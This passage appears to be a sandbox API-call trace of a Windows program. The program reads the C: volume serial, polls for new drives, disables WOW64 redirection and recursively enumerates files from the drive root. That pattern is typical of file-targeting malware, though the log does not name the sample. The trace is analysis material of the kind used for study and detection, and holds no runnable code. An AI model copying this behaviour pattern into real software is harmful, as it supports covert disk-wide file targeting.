hHeap=0x730000, dwFlags=0x0, lpMem=0x74b398 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755cf0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b510 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x752bd0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4c8 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x754288 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4f8 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755be0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4e0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755ac0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b528 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755b50 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b540 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b090 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b468 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7504d0 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.974] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b498 | out: hHeap=0x730000) returned 1 [0051.974] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a440 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b480 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dc38 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4b0 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b060 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dd48 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa4) returned 0x74a440 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b450 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b420 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b408 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b438 | out: hHeap=0x730000) returned 1 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x74dd48 [0051.975] GetProcessHeap () returned 0x730000 [0051.975] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xe) returned 0x74b438 [0051.975] ResetEvent (hEvent=0x140) returned 1 [0051.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e56b3, lpParameter=0x74dd48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0051.977] CloseHandle (hObject=0x144) returned 1 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b408 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b420 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b450 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4b0 [0051.977] htonl (hostlong=0x9c354b42) returned 0x424b359c [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x28) returned 0x750d80 [0051.977] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b480 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74b090 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x14) returned 0x74de08 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b498 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x7504d0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b468 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x752bd0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b540 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74a4f0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b528 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x754288 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4e0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x2) returned 0x750db0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74dc38 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4f8 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x80) returned 0x754310 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b4c8 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x4) returned 0x74e7f0 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x750db0, Size=0x82) returned 0x755bc8 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x74e7f0, Size=0x100) returned 0x755c58 [0051.978] GetProcessHeap () returned 0x730000 [0051.978] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b510 [0051.978] GetProcessHeap () returned 0x730000 [0051.979] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x755d60 [0051.979] GetProcessHeap () returned 0x730000 [0051.979] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10) returned 0x74b558 [0051.979] GetProcessHeap () returned 0x730000 [0051.979] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x82) returned 0x755df0 [0051.979] GetProcessHeap () returned 0x730000 [0051.979] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x755bc8, Size=0x104) returned 0x755e80 [0051.979] GetProcessHeap () returned 0x730000 [0051.979] RtlReAllocateHeap (Heap=0x730000, Flags=0x0, Ptr=0x755c58, Size=0x200) returned 0x755f90 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dc38 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755f90 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4c8 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x754288 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b528 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x754310 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4f8 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755e80 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4e0 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755d60 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b510 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x755df0 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b558 | out: hHeap=0x730000) returned 1 [0051.980] GetProcessHeap () returned 0x730000 [0051.980] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b090 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b480 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x752bd0 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b468 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x7504d0 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b498 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74a4f0 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b540 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x750d80 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74de08 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0xa4) returned 0x7504d0 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b420 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b450 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b4b0 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74b408 | out: hHeap=0x730000) returned 1 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x74de08 [0051.981] GetProcessHeap () returned 0x730000 [0051.981] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0xe) returned 0x74b408 [0051.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12e56b3, lpParameter=0x74de08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0051.982] CloseHandle (hObject=0x144) returned 1 [0051.983] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) Thread: id = 17 os_tid = 0x36c [0051.976] GetLogicalDrives () returned 0x4 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x20) returned 0x749dc8 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x8, Size=0x1e) returned 0x749da0 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1e) returned 0x749ee0 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x90) returned 0x74dba0 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74dba0 | out: hHeap=0x730000) returned 1 [0051.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x749da0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749ee0 | out: hHeap=0x730000) returned 1 [0051.976] GetProcessHeap () returned 0x730000 [0051.976] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749dc8 | out: hHeap=0x730000) returned 1 [0051.976] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2a8f834, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2a8f834*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x749da0 | out: hHeap=0x730000) returned 1 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x40) returned 0x7441f0 [0051.977] GetProcessHeap () returned 0x730000 [0051.977] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x74b060 [0051.977] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0051.977] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0051.977] GetLogicalDrives () returned 0x4 [0051.977] Sleep (dwMilliseconds=0x3e8) [0054.633] GetLogicalDrives () returned 0x4 [0054.633] Sleep (dwMilliseconds=0x3e8) [0056.161] GetLogicalDrives () returned 0x4 [0056.161] Sleep (dwMilliseconds=0x3e8) [0059.400] GetLogicalDrives () returned 0x4 [0059.400] Sleep (dwMilliseconds=0x3e8) [0061.826] GetLogicalDrives () returned 0x4 [0061.826] Sleep (dwMilliseconds=0x3e8) [0063.936] GetLogicalDrives () returned 0x4 [0063.936] Sleep (dwMilliseconds=0x3e8) [0065.380] GetLogicalDrives () returned 0x4 [0065.381] Sleep (dwMilliseconds=0x3e8) [0068.937] GetLogicalDrives () returned 0x4 [0068.937] Sleep (dwMilliseconds=0x3e8) [0070.092] GetLogicalDrives () returned 0x4 [0070.093] Sleep (dwMilliseconds=0x3e8) [0071.262] GetLogicalDrives () returned 0x4 [0071.262] Sleep (dwMilliseconds=0x3e8) [0073.151] GetLogicalDrives () returned 0x4 [0073.151] Sleep (dwMilliseconds=0x3e8) [0075.246] GetLogicalDrives () returned 0x4 [0075.246] Sleep (dwMilliseconds=0x3e8) Thread: id = 18 os_tid = 0x484 [0052.038] GetProcessHeap () returned 0x730000 [0052.038] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x38) returned 0x750d80 [0052.038] GetProcessHeap () returned 0x730000 [0052.038] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x18) returned 0x74dec8 [0052.038] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x16c [0052.038] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x170 [0052.038] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x174 [0052.038] GetProcessHeap () returned 0x730000 [0052.038] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x755bc8 [0052.039] GetProcessHeap () returned 0x730000 [0052.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x765bd0 [0052.039] GetProcessHeap () returned 0x730000 [0052.039] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0052.039] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0052.039] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0052.039] Wow64DisableWow64FsRedirection (in: OldValue=0x27ffc44 | out: OldValue=0x27ffc44*=0x0) returned 1 [0052.039] GetProcessHeap () returned 0x730000 [0052.039] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0052.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12e54bf, lpParameter=0x27ffc4c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178 [0052.041] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x12e54bf, lpParameter=0x27ffc4c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0052.042] GetProcessHeap () returned 0x730000 [0052.042] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x775bd8 [0052.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x750610 [0052.043] GetProcessHeap () returned 0x730000 [0052.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x785be0 [0052.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0052.043] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.043] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0052.043] GetProcessHeap () returned 0x730000 [0052.043] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x795be8 [0052.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x754300 [0052.044] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.044] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0052.044] SetEvent (hEvent=0x170) returned 1 [0052.044] ResetEvent (hEvent=0x174) returned 1 [0052.044] FindNextFileW (in: hFindFile=0x754300, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0052.044] FindClose (in: hFindFile=0x754300 | out: hFindFile=0x754300) returned 1 [0052.044] GetProcessHeap () returned 0x730000 [0052.044] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0052.044] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0052.045] FindClose (in: hFindFile=0x752c58 | out: hFindFile=0x752c58) returned 1 [0052.045] GetProcessHeap () returned 0x730000 [0052.045] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x785be0 | out: hHeap=0x730000) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0052.045] GetProcessHeap () returned 0x730000 [0052.045] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x785be0 [0052.045] FindFirstFileW 